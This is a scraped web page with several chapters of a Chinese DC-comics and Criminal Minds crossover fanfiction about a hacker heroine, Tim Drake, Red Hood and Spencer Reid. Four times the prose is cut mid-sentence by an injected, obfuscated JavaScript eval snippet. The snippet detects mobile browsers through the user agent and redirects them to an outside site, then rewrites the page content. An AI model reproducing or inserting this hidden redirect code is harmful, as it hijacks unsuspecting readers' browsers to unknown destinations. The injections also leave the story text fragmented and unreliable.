;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502771|186031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的时间。 ……你甚至都没注意到她是什么时候付的款! 你最终还是拎着那两套衣服将芭芭拉送回了家,并且向她保证在哥谭大学开学的时候绝对不会像今天一样一身黑犹如去奔丧。 唉,谁让你永远拒绝不了芭芭拉呢? 你坐上交通工具,隔着车窗对她挥手道别。 3 芭芭拉认真记下出租车的车牌号,直到车辆消失在她的视线内。脸上柔软的笑意被一些更加严肃的东西替代,她推着轮椅回到房间。 窗帘拉紧,电脑开始运行。 蝙蝠系的义警频道中跳出一条信息。 【神谕已上线】 【神谕】:商场那边处理得怎么样了? 沉寂的频道瞬间热闹起来,消息一条接一条不停往上蹦。 【搅局者】:商场炸弹那件事?据说炸药量还不小? 【夜翼】:小芭!你没事吧,听说你正好在那个商城,对了,这次具体又是个什么情况? 【遗孤】:我记得赶去接手的是提姆。 红罗宾的消息在此刻才不急不忙地弹出来。 【红罗宾】:我在跟进。排爆小组检查过了,他们到的时候炸弹的远程遥控设置已经被切断,现在全都安全拆除。GCPD正在审讯那些人,不过他们刚醒还没一会,GCPD说的他们可能被电得有点不清醒,目前还没有审出什么有用消息。 芭芭拉有点疑惑。 【神谕】:我记得我只是击晕了那些人。 【红罗宾】:明白了。关于这点不用担心,我知道炸弹是谁解决的。 【夜翼】:你的神秘朋友,嗯哼? 【红罗宾】:我翻了商场今天的监控,除了现在在警局的那几个人,还有一些成员需要重点关注一下,监控截图和相关信息稍后我会发过来。 【搅局者】:我赌十美元他在转移话题。 【遗孤】:跟。 【夜翼】:史黛,没人会压这种完全没有悬念的赌局。 最终把话题扭向正轨的还是芭芭拉。 【神谕】:好,警局那边有后续了我也会通知你。 然而下一条消息的画风一转。 【神谕】:顺带一提,你知道这个家里越是遮遮掩掩的秘密越是能激起我们的好奇心吧?当他们八卦起来的时候没人能够拦住他们,哪怕是B。 【夜翼】:嘿,这不叫八卦!这叫合理关心家人的生活! 【红罗宾】:充分尊重你们的好奇心,不过不建议实施。查不查得到二说,我们总得尊重当事人的意愿。 【罗宾】:tt,你在怀疑我们的能力? 【红头罩】:你们打算实施的时候带我一个。 尊不尊重另一位当事人的意愿不好说,反正他们目前是没打算尊重提姆的意愿。这个家里是不存在秘密的,他们最擅长的就是挖掘家里人的小秘密。没人能够拒绝能看兄弟热闹的机会,而因此发现的一些黑历史更是会被不断往事重提的把柄。 提姆重重地叹口气,有时候,他真的会觉得这个家未免有点太热闹了。 5. 第 5 章 1 【AAA知名奸商】:我一直想不明白一件事。 【荧光独角兽】:怎么了,亲爱的?有什么问题说出来,虽然不一定能替你解决,但一定能让我乐呵一下。 台上的教授讲得唾沫横飞,座位上的你一心二用,手指翻飞敲着笔记本电脑的键盘,如果不是你的屏幕上挂着和课件完全不相关的聊天框,谁来了都得夸上一句笔记做得真快。 【AAA知名奸商】:理性讨论马拉松式研讨课是否是一种变相的坐牢。 【AAA知名奸商】:三个小时!连续三个小时! 【荧光独角兽】:噢——我可怜的卡莉,你要被焊在椅子上了。 大学教室的座椅显然不会怎么考虑人体工程学的构造,三个小时坐下来你的腰宣布原地离家出走,然后你还得在十分钟内抱着电脑教材赶去另一门75分钟起步的大课所在的教室。 在这个安排的教室间隔距离平均大于10分钟路程,甚至有的教学楼连廊还禁止奔跑的地方! 哥谭大学,你是来培养学子的还是来培养体育好苗子的?你记得艾登给你办的旁听也不是体育学院的吧? 加西亚对你的惨痛遭遇抱以短暂的同情和安慰,同为常年坐在电脑桌前的人,她对于这种痛苦再理解不过了,也只能安抚性地给你发来几个可爱表情包。 2 好在再惨无人性的大学都会在大课之间安排一点短暂的休息时间,尽管你更愿意将其理解为给人类cpu散热以免温度太高烧坏主机。 有学生抱着教材将教授围住,如饥似渴地吸收着知识。 而你停下打字的手,转头看向旁边从一开始就表现出一副欲言又止模样的同学。 “有事?” 你臭着脸,芭芭拉特意为你挑选的开学套装并没有达到她想要的效果,反而配合着你染成银蓝色渐变的水母头,营造出一种对上视线就会得到邦邦两拳的不好惹形象,此刻说你是某个□□的成员都不有人怀疑。 “卡莉索普·皮尔斯?” 对面迟疑着叫出你的名字,神色中带着点不确定。在他向你搭话时,几道不加掩饰的目光立马落到你们身上。枯燥的课件和明显要上演的八卦戏码哪个更有意思不用多说,大学生都自有评判。 “我知道我的名字,不用你来重复,谢谢。” 看你多有礼貌,哪怕上课上得不耐烦了还对人用敬语呢。 “不,我不是这个意思——” “好吧好吧,我知道了。”你叹口气,打断他的话语。“现在到久别重逢的戏码了是吗?” 你认命起身,在他做出举动前抱住他。落在对方肩背上的手用力拍了拍,沉闷的声响显露出你用了不小力气的事实。这个拥抱并没有持续多久,你在对方想要回抱你之前就迅速撒开手。 好了,温情时刻到此结束,你对这种氛围过敏。 “卡莉,你还是老样子。”同学——也就是提姆·德雷克——露出无奈的笑。“我还以为你真的没认出我。” “我看上去像是记性不太好的样子吗?你又没有像昆虫一样变态发育,这才过去几年,我还不至于认不出你这张脸。” 你重新将视线放回自己的电脑屏幕上,加西亚发来了新的消息。 “你什么时候回哥谭的,为什么都没有联系我?” “唔,也没多久吧。” 你跳过后面那个问题,目不转睛地盯着屏幕,仿佛上面有着什么能让你一夜无痛暴富的方法,而且不是被写入刑法的那种。 提姆微笑:“所以你刚才并不是在假装不认识我,对吧?” “……” “对吧?以及友情提醒,你从刚才开始打出来的就是一串乱码。” 这人怎么非要哪壶不开提哪壶!既然都知道了还问什么!这种会让人尴尬的问题就不要再讲了好吗? 你瘪着嘴,没好气地看他一眼。 “免费陪聊时间结束,接下来一句话付费一次。” “好吧,其实我只是想最后再说一句。” 他弯下腰,两根巧克力棒出现在你的电脑旁边,包装纸上烙着你熟悉的品牌标志,在你还没被艾登从哥谭带走前,你最常吃的就是这个牌子的巧克力。 “不管怎么样,我很高兴能够再次见到你。欢迎回来,卡莉。” ……都说了你不喜欢这种温情时刻了,可恶。 你愤愤地撕开包装将巧克力棒塞进嘴里,可可醇厚的香气在舌尖融化成苦涩的味道,仅有的一丝甜味就和哥谭□□的良心一样,需要细细品尝才能感受那约等于不存在的一点。 啧,还是和以前一样苦到人脑子都精神了。你想。 3 你承认,你确实是故意没有联系提姆·德雷克的。 在你离开哥谭前,你们之间的关系的确算得上是好友。 人聚在一起不外乎都是那几个理由,你们有着相同的兴趣,你们发现对方也不怎么想搭理没有共同语言同龄人……他的父母总是在外探索古迹,好巧,你的老爸也天天泡在GCPD里;他对于同龄人的游戏不感兴趣,这不对了吗,你也不喜欢那些幼稚的东西…… 你们就这样莫名其妙成了好友。 白天一起交流计算机技术,在学校里吐槽同学走两步就要来一个灌篮姿势。 夜晚他抱着相机在哥谭的大街小巷里追随蝙蝠侠和罗宾的痕迹,而你就是那个帮他打掩护的人,在他不方便使用电子设备时用你尚且拙劣的技术糊弄监控,以及随时准备着报警拯救你小伙伴的性命。 好在那个时候哥谭的监控系统并不算完善,所以你们这松散的二人小队倒也没怎么翻车过。 不像现在,你甚至发现哥谭的下水道里都有监控! 你百思不得其解,这地方装监控干什么?录制杀手鳄的生活vlog吗?老实说真有的话你还真的会出于自己那该死的好奇心点进去看看。 言归正传,正是因为如此你才没有联系他的想法。 如果不是艾登和芭芭拉他们保持着通讯,你甚至不想让芭芭拉知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502772|186031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道你回了哥谭。 在你的想法里,对方继续当那个快快乐乐的蝙蝠侠和罗宾的私生粉就够了。你离开哥谭的这些年你们也没怎么联系过,当成一段阶段性友谊就此放置不就好了?谁知道此人自己锲而不舍地往上凑,你摆张冷脸都吓不跑。 搞得你又理亏又恼羞成怒的。 你报复性地将他刚才强行输进你手机里的号码备注成骚扰电话,才点开另一条讯息。 空白头像,乱码名字。 只有一行公事公办的文字:东区酒吧,晚上七点,线下面交,过时不候。 后面是一个详细的酒吧地址。 渐渐融化的巧克力块被你从左边腮帮子顶到右边,你不满地啧了一声,两三口将咬碎巧克力块,咽下去。 看来今晚还得专门跑一趟。 为什么这种情报不能直接线上交易,非得走线下的流程? 4 埋怨归埋怨,你还是只能准备好现金,在晚上七点准时出现在指定酒吧的门口。 哥谭的夜晚总是来得比其他城市更早,在纽约尚且能称之为黄昏的时候,浓重的夜色已经黑压压地砸在这个城市的天空上,路上寥寥无几的行人神色匆匆。当然,这也可能是东区和犯罪巷这些地方的特殊情况。 毕竟你从钻石区经过时,那边还是一副川流不息的模样。 你警惕避开酒吧门口那摊不知名的液体,外套兜帽和口罩遮住你的大半特征。 酒吧里的一片灯红酒绿景象,重金属摇滚的音量足以将人的耳膜炸开。你侧身在男男女女的缝隙间穿梭,酒精与香水在这片空间中一同发酵,你口罩下的表情皱成一团,只恨自己没法进化成不需要呼吸的硅基生物。 你在指定的座位坐下,没隔两秒,头顶的彩灯将一个高大的身影投在你的面前。 你抬起头,那标志性的装备瞬间昭告了来人的身份。 “红头罩?” 他哼笑一声:“怎么,有问题?” “当然没有。”你将手提箱推上桌面,“所以我要的消息呢?” 他大刀金马地往对面一坐,还未散去的硝烟气息就扑面而来。他打开箱子大致扫了几眼,而后摆摆手,一个面容普通的中年男性从他身后走了上来。 红头罩冲他抬抬下巴:“我的手下,也是现场的第一目睹者,换个地方讲?” “不用了,就在这。”你双手环胸,摆出抗拒姿态。 他也没坚持:“行吧,你不嫌这吵得人听不清话就行。” 红头罩侧过身,将这一方不算私密的小空间留给你和那个中年男人。你的目光飞快扫过对方。布满褶皱但还算干净整洁的衣物,晒到黝黑的皮肤,一双属于苦力劳动者的手不安地在身旁摆动,手背上那些皲裂却有恢复的迹象。 对方显然有过一段拮据的码头搬运工生活,看来至少不是红头罩随便找了个人来忽悠你。 这些打量与思考只在你的大脑中短短转了一圈。 你张开嘴。 “砰——!” 6. 第 6 章 1 子弹咆哮着击穿头顶的彩灯。 在红头罩猛地从枪套中拔出他的双枪时,你已经压着中年人的脑袋,一个利落地蹲身翻滚,带着这位尚未反应过来的中年人士藏进矮桌下面。 脆皮的脑力人士就是这么自觉,一旦遇到危险你率先拔腿就跑,跑不了的情况就立马躲起来。 碎玻璃劈头盖脸地砸下来,混合着男女声的高昂音调后知后觉盖过重金属摇滚乐。酒吧里顿时一片混乱,尖叫与怒吼重新构成新的配乐。哪怕蹲在矮桌下,你也眼尖地看到酒保和几个客人从衣服下掏出了枪支。 酒吧的矮桌下勉强塞进两个人的结果就是你不得不忍受着那些视线范围内的脏污,避不开,只能尽量减少接触。 等回去后就把这件衣服扔了! 你再度往里缩了缩,确认流弹也无法打到这个位置,才打开臂载终端,加载出周围的监控画面。你迅速锁定持枪闯入者的身份,数据流转到屏幕上,一目十行扫过那些堪称哥谭黑/帮底层人士模版的生平记事——又名入狱记录。 行吧,看上去没什么问题。 于是你调头揪住中年人的衣领晃了晃:“别发呆了,现在回答我的问题,为了这点情报我可是花了不少钱的!” 要知道以往都是别人找你买情报。 大信息时代在黑客面前基本不存在秘密,奈何这次的案发现场在人来人往的码头,等到GCPD赶到的时候已经被破坏得不成样子,哪怕骇进GCPD的档案记录,也只能找到那么薄薄两页的总结报告。你在黑市挂了好久的情报悬赏,才终于窥见了这么一点曙光。 中年人被你晃得头晕眼花,好一会才结结巴巴地开口。 “现、现在吗?” “不然呢?需要我给你点杯酒,和你聊聊艺术与星空,然后再倾听一下你的原生家庭和伤痛吗?”你没耐心地反问,“别再看红头罩了,这点小问题他要是解决不了的话尽早退出哥谭□□吧,丢人。” “顺便把生物圈也退了吧,对不起他那一身肌肉。” 你嘴毒地补充一句。 中年人满脸欲言又止。他想说的当然不是这个,但是你完全不在乎他的想法。 你只关心自己花的钱能不能得到应有的回报,这决定了你待会是问完走人还是立马调头背刺红头罩。 哪怕是小丑本人来了都不能用虚假情报从你这里骗钱! 中年人最后在你的眼刀下唯唯诺诺地屈服了。 等到红头罩解决完酒吧里的混乱,一回头看到就是你正手脚并用地从矮桌下往外爬。进去的时候动作麻利,想要钻出来的时候却格外狼狈。 你头也没抬,往外一伸手:“麻烦搭把手。” 套着黑色露指战术手套的手一把握住你的手腕,小臂肌肉膨起,微一发力便将你整个人从地上拉起来。 他仿佛提了只小鸡仔一样轻轻松松地就让你在地上站稳。 你拍拍身上的灰尘,重新往上提了提口罩。 红头罩的视线扫过后面跟着爬出来的中年人:“都问完了?” “问完了,顺带一提,给你的手下增加点抗压能力训练吧,一点小枪战而已,他就说话结结巴巴起来。” 你没忍住吐槽。 本来混战的酒吧就吵,对面一结巴,听起来就更费力了,一个问题来回问上好几次才能得到完整的答案。你上次这么费力听人说话还是听一个非洲小部落的当地语言,需要连蒙带猜。 你猜红头罩翻了个白眼。 因为他回答的声音满是无语意味:“差不多得了。” 对于自己手下究竟是因为枪战结巴还是别的事情结巴,他显然自有定论。 他收好枪支,夹克上还沾着点不知道是哪位倒霉蛋的血。中年人颇有眼色地赶紧提起手提箱,重新站到他的身后。 “行了,既然交易结束,那就再见了。” 2 对于红头罩来说,这不过一次意外的收获。用一份不怎么重要的凶杀案情报换来了不小的一笔资金,钱到手便可以抛之脑后。 然而对于你来说,拿到这些信息只是一个开始。 中年人提供的情报颠三倒四,你不是专业的刑侦人员,仅能凭借自己在黑市上混迹的这些年积攒下来的经验努力梳理分辨有用部分,还需要去GCPD“借”一点档案回来,拜托专业人士帮你分析。 除此之外,你还得多接两单委托赚赚钱了。 该死的红头罩要价额外贵! 你一直以为自己足够奸商了,现在才发现天外有天人外有人。可惜现在是卖方市场,你不得不捏着鼻子同意他的报价,哪怕用这个钱你都可以雇人去把布鲁斯·韦恩再绑架一次了。 没有针对我们哥谭小王子的意思,只是用他来做衡量标准比较简明易懂。 你赚钱也是不容易的!虽然赚得快,但是花得更快啊。 机房设备的维护费用永远居高不下,每个月电费账单上的数字长得像流水,说你是在挖矿都不会有人怀疑,而改造一个遥控设备需要的零件在黑市上更是不便宜。 你以前还不明白为什么会有泳池一边进水一边放水的数学问题。 直到现在,你才明白这道数学题中深藏的沉痛经验。 退一万步来说,就不能有个亿万富翁突然扔给你一张五千万美金的银行卡吗? 哪怕说是在资助弱智做做公益你也绝不对会反驳的! 可惜这世界上没有好心的冤大头,你还得自掏腰包去GCPD“借”情报。唯一能给予你安慰的,就是对面不是走的红头罩这种宰完一票就了事的路线,对方显然是把这种情报工作当做可持续发展的职业,所以开价也很合理,不至于让你肉疼。 你带着彻夜整理资料留下的两个乌黑眼圈,无精打采地靠在警局外的车上,脚下有一搭没一搭地踢着地面上碎石。没等一会,一个警员压低帽檐冲你走了过来。 他报出你留下的交易名字。 你站直身体:“是我。” “等会别说话,跟着我走就是了,进档案室后只给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502773|186031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你半个小时,你自己找想要的东西。”对方不放心地警告着,“要看要拍照随便你,但是不能带走。” “放心吧,我懂规矩的。” 有需要的时候你也能表现出配合的样子。 你对他比出没问题的手势,眼观鼻鼻观心,目不斜视地跟在那名警员的身后,镇定自若地走进警局。穿过放着咖啡和甜甜圈打包盒的办公桌,偶尔有几个满脸疲相的警员抬起头,瞥了你一眼后又事不关己地重新挪走。 你走进档案室,纸张与印刷油墨的气味顿时充满鼻尖。那些用牛皮纸袋包裹着的案件记录就这样堆满每一个柜架,努力在其中挤压出容身之地。 警员在你身后关上档案室的门。 已经上传警局内部系统的档案和还没来得及处理的档案分别贴着不同颜色的标签,放眼望去,属于未完成的部分占据了至少六成的空间。 哪怕时隔多年,你依旧会为GCPD的效率叹一口气。 你径直走向标着最近日期的柜架,迅速从其中抽出那些明显薄不少的档案翻阅起来。 在这个阶级分明的城市,警局办案都有着分级。 最顶层的自然是那些掌握着这个城市经济的富豪与黑/帮,哪怕只是一个盗窃案,他们也值得拥有沉甸甸的一叠案情记录。而你要找的受害者只是这个城市最底层的缩影之一,他的死亡甚至不会比这些纸张更重。 每年在角落里悄无声息死去的流浪汉太多了,即使是蝙蝠侠都调查不过来。 于是只有这么单薄的两张纸,将他在这个世界上不完整的经历记录成苍白的文字。 然后被塞进永不见天日的档案室,与这些柜架一同落灰。 若无意外的话。 可惜他既幸运又不幸地是那个意外,从案发现场传出来的只言片语将网络上游荡的电子幽灵吸引至此处。 你掏出手机仔仔细细将纸张上的每一个边角都纳入摄像框,一连拍了好几张,切回相册确认没有模糊或者遗漏的地方后,才将档案归回原位。 也算是你运气好,最近哥谭没什么大新闻,所以这个档案还没来得及被挤压到边边角角去,没花多少时间就找到了它。 好了,该走了。 你的目光转向档案室的门把手,上一次来这个地方的时候,门把手上的黑漆还算完整,现在只剩下被磨得光亮的金属底。 打算离开的脚步停在原地,你调转方向走向贴着“五年以上未解决”标签的柜架。 A301715 这是一串烂熟于心的编号。 你抽出那叠档案,纸张的重量在此刻如有千斤,仿佛能够将你的手腕压断。抹去牛皮纸封面上的灰尘,你的指尖落在首页的一寸照片上。白底的证件照早已经发黄,边缘微微翘起。 你沉默凝视着照片上女性的面容。 良久,你闭了闭眼。 纸张被重新推回档案袋内,标着“蕾妮·皮尔斯”的黑色字体回到牛皮纸的遮盖下。 这次,你离开的脚步不再迟疑。 7. 第 7 章 1 将这些情报整理成系统的档案花了你一点时间。 你对自己的刑侦知识储备和能力有清晰认知,也没有非要为难自己脑细胞的想法。侧写和破案这种专业事情就该交给专业人士来解决,该寻求帮忙的时候就大大方方的。 于是在整理完档案后,你果断拨通了自己认为在这方面最有权威性的人的电话。 等待接通的提示音响了三次,对面传来嘈杂的背景音。紧接着背景音降低,接电话的人声音小小地应了一下。 “嗨,瑞德,有空帮我个忙吗?”你开门见山,“作为回报,下次你们BAU有需要的时候我也可以免费帮忙一次。当然,前提是你们不会以破坏城市基础设施来起诉我。” “卡莉?” 声音拉远了一瞬,对面似乎是重新看了看手机屏幕,然后才重新放到耳边。 “起诉的事情不是BAU的工作。”他被你的直白弄得有些困惑,尽力跟上你的话题。“什么忙?加西亚说你最近在哥谭大学旁听,如果是论文的话……” 瑞德脸上出现天人交战的纠结神情,他进行一番复杂的道德斗争,最后友情的一方还是勉强占了上风,乖乖地继续说下去。 “代写论文是不是不太好?但是如果你真的需要的话。” 略带沉重的心情被他这一通发言冲散,你略感好笑地捏捏眉心,在电话这边翻了个白眼。 “当然不是论文了,你在想什么?我难道看上去像是无聊到会让你来做这种事的人吗?区区论文,我自己就能解决!” “你之前五次让我在回匡提科的时候带出差地的特产,三次让我在出外勤顺路路过时帮忙买游戏卡带,还有一次——” “打住!” 你知道瑞德说这些不是有什么不满,只是他习惯性会用事实与数据来表达自己的不同观点。 下一秒你又忍不住叹口气,手指抠起键帽。视线随着低头的动作落在键盘上,毫无目的地飘移着。 “是那件事。” “我在哥谭这边遇到了同类型的凶杀案,作案手法很相似。” “……” 电话对面安静一瞬,几乎落针可闻。你听到瑞德的呼吸声猛地加快,随即就是他急急忙忙的声音。 “不用了!”瑞德打了个磕巴,“我的意思是不用你免费帮忙!” 你抿着嘴,终于露出了这两天来的第一个笑容。微小的弧度在你唇角绽开,你回复的声音带着一如既往的调侃和轻快。 “我知道你的意思,资料我等会发给你。谢谢你,瑞德。” 瑞德嗯了一声。 “我回头也会让摩根他们帮忙看看的,他们会很乐意帮忙的。BAU以前也一直在追查‘雨夜’的行踪,只不过在哥谭的案子之后他就下落不明,我们也没有再接到过类似凶杀手段的报案。” 瑞德犹豫着补充上一句:“不过不要抱太大的期望,你知道的。” 你当然知道的。 在BAU的档案记录和侧写里,近十年前对方就已经是四十岁出头的男性,现在至少也要将近六十岁了。虽然哥谭出现的新受害者是流浪汉,但尸体照片上的体格显示受害者显然不是没有反抗力的猎物。 人近老年体力大幅下降的凶手是不会主动选择这种人作为下手对象的。 况且流浪汉从最开始就不符合“雨夜”的挑选条件。 你比谁都清楚这点,可这也是这么多年来唯一算得上进展的线索。你不可能、也绝不会这么轻易放弃的。 “总之,照顾好自己,卡莉。” 你笑了一声:“这句话该我对你说才对,瑞德,至少我的准心比你好,不会失手脱靶到打在别人的靶心上。” 瑞德立马嘟囔了起来,他还想反驳些什么,可惜电话对面传来了霍奇叫他的声音,他只能匆匆和你道别,挂断了电话。 你放下电话,那点笑意像退潮的海水一样从你脸上迅速消失。你用力将脸埋进臂弯中,深深地、慢慢地呼出一口气。 好了!瑞德还提醒了你一件事——论文! 尽管你在电话里和他说得很是自信满满的样子,也掩盖不了你这几天忙于私生活,导致论文一点没动的事实。 话说那个教授布置的论文主题是什么来着? 你打开电脑邮箱,积攒了数封的未读邮件立马占据半壁江山。每一个代表未读的鲜艳红色都透露出恶毒的意味,仿佛随时准备跳出屏幕给你一顿毒打。 按照数量来说这应该是一场惨无人道的群殴。 …… 你礼貌地退出邮箱。 换个思路,现在重新打给瑞德让他帮忙写论文怎么样? 2 斯宾塞·瑞德,你屈指可数的好友之一。 艾登在收养你之后,带着你离开了哥谭,搬去阳光更加充沛的弗吉尼亚州。你应艾登的要求定期去找医生聊聊天,他一直都很担忧哥谭的事会给你造成PTSD。而也是在医院里,你认识了来探望患有精神分裂症母亲的瑞德。 说实话,那还是你第一次见到比那时候的你还不擅长社交的人。 你那时候留着盖住眉毛的刘海,艾登也是第一次养孩子,手忙脚乱,一时间想不到还需要带你打理头发。而你那时候也没心情去管这些,顶着厚重的额发,试图用阴郁气息攻击每个想要和你说话的人。 你的不擅社交是自己有意为之,所有接近的人都会被你用无差别的毒液喷撒,只有在偶尔接到戈登一家的电话时才勉强表现出一副乖巧的样子。 艾登戏称你为弗吉尼亚版星期三和斯内普的混合体,你则在第二天早上加了致死量的盐在他的咖啡里。 艾登从此收声,只亲切地称呼你为“小恶魔”。 而瑞德的不擅社交就是真正意义上的不擅长。 他明明个子也不矮,比你大上好几岁的他拥有尚且还过儿童节的你需要仰头看的身高,浑身上下却莫名散发着好欺负的气息,简直是美剧刻板印象里好欺负的书呆子形象。 他这个样子去哥谭转一圈,能剩条裤衩回来,你都要夸哥谭街头混混的道德水平有了大幅度提高,值得将此和韦恩甜心的脸一起作为哥谭旅游宣传的卖点,放在广告屏滚动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502774|186031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 播放。 你看着他前脚才出精神病院,后脚就被一群青少年围上来扯走背包,还被拽了个踉跄,那些人围着他发出哄堂大笑。 你才经历完心理医生的话疗,本来就烦。 听到这些变声期青少年的公鸭嗓更是烦上加烦,嘎嘎嘎的,不知道的还以为是哪个养殖场里跑出来一群肉鸭。不对,他们衣服一撩露出来的那二两排骨放超市都会被主妇嫌弃,说是肉鸭都是夸赞他们了。 真的实在闲得没事就去旁边的树上挂一会,拉伸拉伸颈椎。 于是你臭着一张脸从裙子兜里掏出小刀:“让开,再挡着就给你们一人开个洞。” 那些青少年还想笑。 “我是哥谭来的。”你面无表情补充,“还有精神病。” 他们脸上的笑慢慢消失了,取而代之的是你缓缓咧开的嘴角。 你有没有精神病不重要,重要的是他们相信你有了。 因为你皮笑肉不笑的样子和那段时间热映的一部恐怖片主角出奇地相似,而你们同样都是还算年幼的女孩。 他们扔下几句狠话,紧接着如鸦雀般一哄而散。 你嘁了一声,把水果刀塞回刀鞘里,脸上的笑也收了回去。 瑞德抓着被扔回来的背包,愣愣地看了你两秒,才忙不迭地和你道谢。 “谢谢,不过我听医院的护士提到过你,从理论来讲你并没有患上精神病,你的症状叽里咕噜吧啦吧啦……” 为什么后面是一串无意义的词汇,因为他语速太快,中间还夹杂着不少复杂的专业词汇,简而言之就是太长了你懒得听。 你当然知道自己没有精神病了!这个人正儿八经地在这科普些什么呢? 你回以不可置信的表情。 “当然——我的意思还是谢谢你。”瑞德局促地捏了捏衣角,“抱歉,我的小毛病又犯了。” 你这才满意地收回目光:“不用谢。” 天才的一点怪癖嘛,你可以理解,因为你也在这个范畴内,只不过没人敢因此欺负你罢了。 你和瑞德熟起来后,发现这个人在熟人面前就表现得更加好欺负了。 艾登曾用感慨的语气叫瑞德“小天使”。 他总是边一本正经地纠正你的说法,边下意识就按着你的指令去做事了。做完才盯着自己的手愣神,确认刚刚就是这只手给旁边的超了你车又被反超回来的车主比了一个大拇指朝下的手势。 而你对他欲言又止表情的回应就是大笑着一脚将油门轰到底,跑车在永远畅通无阻的绿灯下扬长而去。 好吧,这么一想你确实也欺负过他不少次。 你难得有点心虚,残存的良心最终让你放弃了这个想法。你重新点开那些邮件,头大地看起教授的要求,准备用一台电脑两个夜晚来创造出无数个奇迹。 不过说起来,好像有人和你的课表重合率好像很高来着? 你若有所思地掏出手机,手指停在那个备注着“骚扰电话”的号码上。 好吧,有些自己主动送上门的人要倒霉了。 你微笑起来。 8. 第 8 章 1 红罗宾最近确实很倒霉。 他和神谕在跟进商场爆炸的事后调查,连着好几天熬到全靠猛灌能量饮料和咖啡来提神。那几个被抓捕的罪犯嘴不算很严,没审讯多久就老老实实交代了自己知道的一切。 神谕带着警局的情报来蝙蝠洞一对,愕然发现这件案子和之前搅局者追查的港口货物失踪案联系上了。雇主雇黑客偷走的这一批武器和炸药被分散在哥谭市的各个仓库中,他们花了不少时间才全部找齐,清点完数量,差不多和丢失的那批对上了。 想到这,提姆机械地端起手边的玻璃杯灌了口橙汁。 阿尔弗雷德对于他最近的饮食习惯很是不支持,无声地将停掉了必须时间外的所有咖啡因和能量饮料的提供。 如果卡莉知道她经手的委托单运走的炸药武器最后差点把她一起炸了的话,她肯定会气得立马调头背刺雇主。也不对,她其实已经背刺了。 玻璃杯遮挡下的唇角有了点微妙的笑意,随即又因为扯到脸上的淤青而被拉平。提姆“嘶”了一声,苦巴巴地放慢咀嚼的速度。 运气在这个时刻就开始急转直下。 好消息:他们似乎能一次性解决两个案子了。 坏消息:失踪案的“苦主”企鹅人也终于知道他丢的军火都去哪了。 红罗宾与企鹅人派来报复的黑/帮成员缠斗好几番,一边听着耳麦里同伴的打趣,一边赶紧赶慢冲向买家的地址。蝙蝠洞的情报显示对方是近期新来哥谭的富豪,他和布鲁斯甚至在晚宴上与对方见过几面。 红罗宾的披风还带着尘土,当他从窗户中落下时,战术靴踩到的却不是光滑的大理石地板,而是一片深红色的血泊。 几具尸体倒在地上,富豪与他的家人们全部被割喉,喷出来的鲜血将半面墙都染成了红色。一家五口齐齐丧生,就连他们家小孩养的宠物都被残忍扼死。房间内有一点挣扎的痕迹,但不多。而那些屋内的贵重物品全部消失,乍一看像是手法残忍的入室抢劫。 但有几个劫匪能够这样干净利落且快速地杀掉一家五口?那半开的抽屉里可还是放着两把枪支的。 蝙蝠侠当夜就出现在企鹅人的据点。 谁知道企鹅人听到这事时表现得比他们还惊讶。 “我只是想给他们个教训,蝙蝠!我还没有不理智到那个程度。” 尽管他口中的教训肯定不会是什么比较温和的手段,但他本质上更是一个狡猾的企业家。让那个富豪活着他才能弥补自己的损失,别的不说,至少得把丢失那批丢失的军火的成本拿回来,只有活人身上才能源源不断地榨出利益。 这位黑/帮老大阴沉着脸,比蝙蝠侠更想知道究竟是谁先他一步下了手。 富豪有不少仇家,但那都是商业上的冲突结下的,根本没到需要买凶灭门的程度,而这一家人搬到哥谭的时间算不上长,完全没来得及得罪什么除了企鹅人外会用此残忍手段的组织势力。 线索到此卡住。 以往类似的案子蝙蝠家的义警也处理过不少,毕竟哥谭市就是这么一个意外频发的城市。很多时候你追查下来,会发现任务目标的死因竟然只是因为罪犯的突然起意。但这次隐蔽的担忧如阴云沉甸甸压在心上,某种奇怪的直觉让红罗宾食不下咽。 